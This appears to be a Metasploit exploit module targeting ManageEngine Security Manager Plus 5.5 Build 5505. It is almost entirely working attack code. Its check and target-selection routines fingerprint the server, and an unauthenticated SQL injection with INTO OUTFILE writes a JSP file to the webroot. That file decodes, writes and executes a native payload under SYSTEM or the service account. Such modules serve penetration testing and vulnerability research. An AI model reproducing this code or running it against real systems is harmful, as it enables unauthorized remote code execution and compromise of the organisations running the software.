##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/file_dropper'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE

  def initialize(info={})
    super(update_info(info,
      'Name'           => "ManageEngine Security Manager Plus 5.5 Build 5505 SQL Injection",
      'Description'    => %q{
          This module exploits a SQL injection found in ManageEngine Security Manager Plus
        advanced search page, which results in remote code execution under the context of
        SYSTEM in Windows; or as the user in Linux.  Authentication is not required in order
        to exploit this vulnerability.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'xistence <xistence[at]0x90.nl>',  # Discovery & Metasploit module
          'sinn3r',                          # Improved Metasploit module
          'egypt'                            # Improved Metasploit module
        ],
      'References'     =>
        [
          ['OSVDB', '86562'],
          ['EDB','22094'],
          ['BID', '56138']
        ],
      'Platform'       => %w{ linux win },
      'Targets'        =>
        [
          ['Automatic', {}],
          ['Windows',   { 'Arch' => ARCH_X86, 'Platform' => 'win'   }],
          ['Linux',     { 'Arch' => ARCH_X86, 'Platform' => 'linux' }]
        ],
      'DefaultTarget'  => 0,
      'Privileged'     => false,
      'DisclosureDate' => "Oct 18 2012"))

    register_options(
      [
        OptPort.new('RPORT', [true, 'The target port', 6262])
      ])
  end


  def check
    res = sqli_exec(Rex::Text.rand_text_alpha(1))

    if res and res.body =~ /Error during search/
      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Safe
    end
  end


  def pick_target
    return target if target.name != 'Automatic'

    rnd_num   = Rex::Text.rand_text_numeric(1)
    rnd_fname = Rex::Text.rand_text_alpha(5) + ".txt"
    clean_path= "../webapps/SecurityManager/#{rnd_fname}"
    outpath   = "../" + clean_path

    register_file_for_cleanup(clean_path)

    sqli  = "#{rnd_num})) union select @@version,"
    sqli << (2..28).map {|e| e} * ","
    sqli << " into outfile \"#{outpath}\" FROM mysql.user WHERE #{rnd_num}=((#{rnd_num}"
    sqli_exec(sqli)

    res = send_request_raw({'uri'=>"/#{rnd_fname}"})

    # What @@version returns:
    # Linux   = 5.0.36-enterprise
    # Windows = 5.0.36-enterprise-nt

    if res and res.body =~ /\d\.\d\.\d\d\-enterprise\-nt/
      print_status("#{rhost}:#{rport} - Target selected: #{targets[1].name}")
      return targets[1]  # Windows target
    elsif res and res.body =~ /\d\.\d\.\d\d\-enterprise/
      print_status("#{rhost}:#{rport} - Target selected: #{targets[2].name}")
      return targets[2]
    end

    return nil
  end

  #
  # Embeds our executable in JSP
  #
  def generate_jsp_payload
    opts                = {:arch => @my_target.arch, :platform => @my_target.platform}
    native_payload      = Rex::Text.encode_base64(generate_payload_exe(opts))
    native_payload_name = Rex::Text.rand_text_alpha(rand(6)+3)
    ext                 = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'

    var_raw     = Rex::Text.rand_text_alpha(rand(8) + 3)
    var_ostream = Rex::Text.rand_text_alpha(rand(8) + 3)
    var_buf     = Rex::Text.rand_text_alpha(rand(8) + 3)
    var_decoder = Rex::Text.rand_text_alpha(rand(8) + 3)
    var_tmp     = Rex::Text.rand_text_alpha(rand(8) + 3)
    var_path    = Rex::Text.rand_text_alpha(rand(8) + 3)
    var_proc2   = Rex::Text.rand_text_alpha(rand(8) + 3)

    if @my_target['Platform'] == 'linux'
      var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
      chmod = %Q|
      Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
      Thread.sleep(200);
      |

      var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
      cleanup = %Q|
      Thread.sleep(200);
      Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
      |
    else
      chmod   = ''
      cleanup = ''
    end

    jsp = %Q|
    <%@page import="java.io.*"%>
    <%@page import="sun.misc.BASE64Decoder"%>

    <%
    byte[] #{var_raw} = null;
    BufferedOutputStream #{var_ostream} = null;
    try {
      String #{var_buf} = "#{native_payload}";

      BASE64Decoder #{var_decoder} = new BASE64Decoder();
      #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());

      File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
      String #{var_path} = #{var_tmp}.getAbsolutePath();

      #{var_ostream} = new BufferedOutputStream(new FileOutputStream(#{var_path}));
      #{var_ostream}.write(#{var_raw});
      #{var_ostream}.close();
      #{chmod}
      Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
      #{cleanup}
    } catch (Exception e) {
    }
    %>
    |

    jsp = jsp.gsub(/\n/, '')
    jsp = jsp.gsub(/\t/, '')

    jsp.unpack("H*")[0]
  end

  def sqli_exec(sqli_string)
    cookie  = 'STATE_COOKIE=&'
    cookie << 'SecurityManager/ID/174/HomePageSubDAC_LIST/223/SecurityManager_CONTENTAREA_LIST/226/MainDAC_LIST/166&'
    cookie << 'MainTabs/ID/167/_PV/174/selectedView/Home&'
    cookie << 'Home/ID/166/PDCA/MainDAC/_PV/174&'
    cookie << 'HomePageSub/ID/226/PDCA/SecurityManager_CONTENTAREA/_PV/166&'
    cookie << 'HomePageSubTab/ID/225/_PV/226/selectedView/HomePageSecurity&'
    cookie << 'HomePageSecurity/ID/223/PDCA/HomePageSubDAC/_PV/226&'
    cookie << '_REQS/_RVID/SecurityManager/_TIME/31337; '
    cookie << '2RequestsshowThreadedReq=showThreadedReqshow; '
    cookie << '2RequestshideThreadedReq=hideThreadedReqhide;'

    state_id = Rex::Text.rand_text_numeric(5)

    send_request_cgi({
      'method'    => 'POST',
      'uri'       => "/STATE_ID/#{state_id}/jsp/xmlhttp/persistence.jsp",
      'headers'   => {
        'Cookie' => cookie,
        'Accept-Encoding' => 'identity'
      },
      'vars_get'  => {
        'reqType'    =>'AdvanceSearch',
        'SUBREQUEST' =>'XMLHTTP'
      },
      'vars_post' => {
        'ANDOR'       => 'and',
        'condition_1' => 'OpenPorts@PORT',
        'operator_1'  => 'IN',
        'value_1'     => sqli_string,
        'COUNT'       => '1'
      }
    })

  end

  #
  # Run the actual exploit
  #
  def inject_exec(out)
    hex_jsp = generate_jsp_payload
    rnd_num = Rex::Text.rand_text_numeric(1)
    sqli  = "#{rnd_num})) union select 0x#{hex_jsp},"
    sqli << (2..28).map {|e| e} * ","
    sqli << " into outfile \"#{out}\" FROM mysql.user WHERE #{rnd_num}=((#{rnd_num}"

    print_status("#{rhost}:#{rport} - Trying SQL injection...")
    sqli_exec(sqli)

    fname = "/#{File.basename(out)}"
    print_status("#{rhost}:#{rport} - Requesting #{fname}")
    send_request_raw({'uri' => fname})

    handler
  end


  def exploit
    @my_target = pick_target
    if @my_target.nil?
      print_error("#{rhost}:#{rport} - Unable to select a target, we must bail.")
      return
    end

    jsp_name  = rand_text_alpha(rand(6)+3)
    # The working directory when our payload runs is
    # c:/AdventNet/SecurityManager/bin/
    # while the jsp file will be in
    # c:/AdventNet/SecurityManager/webapps/SecurityManager/
    # so we need to adjust the traversal level.
    clean_path= "../webapps/SecurityManager/#{jsp_name + '.jsp'}"
    outpath   = "../" + clean_path

    register_file_for_cleanup(clean_path)

    inject_exec(outpath)
  end
end
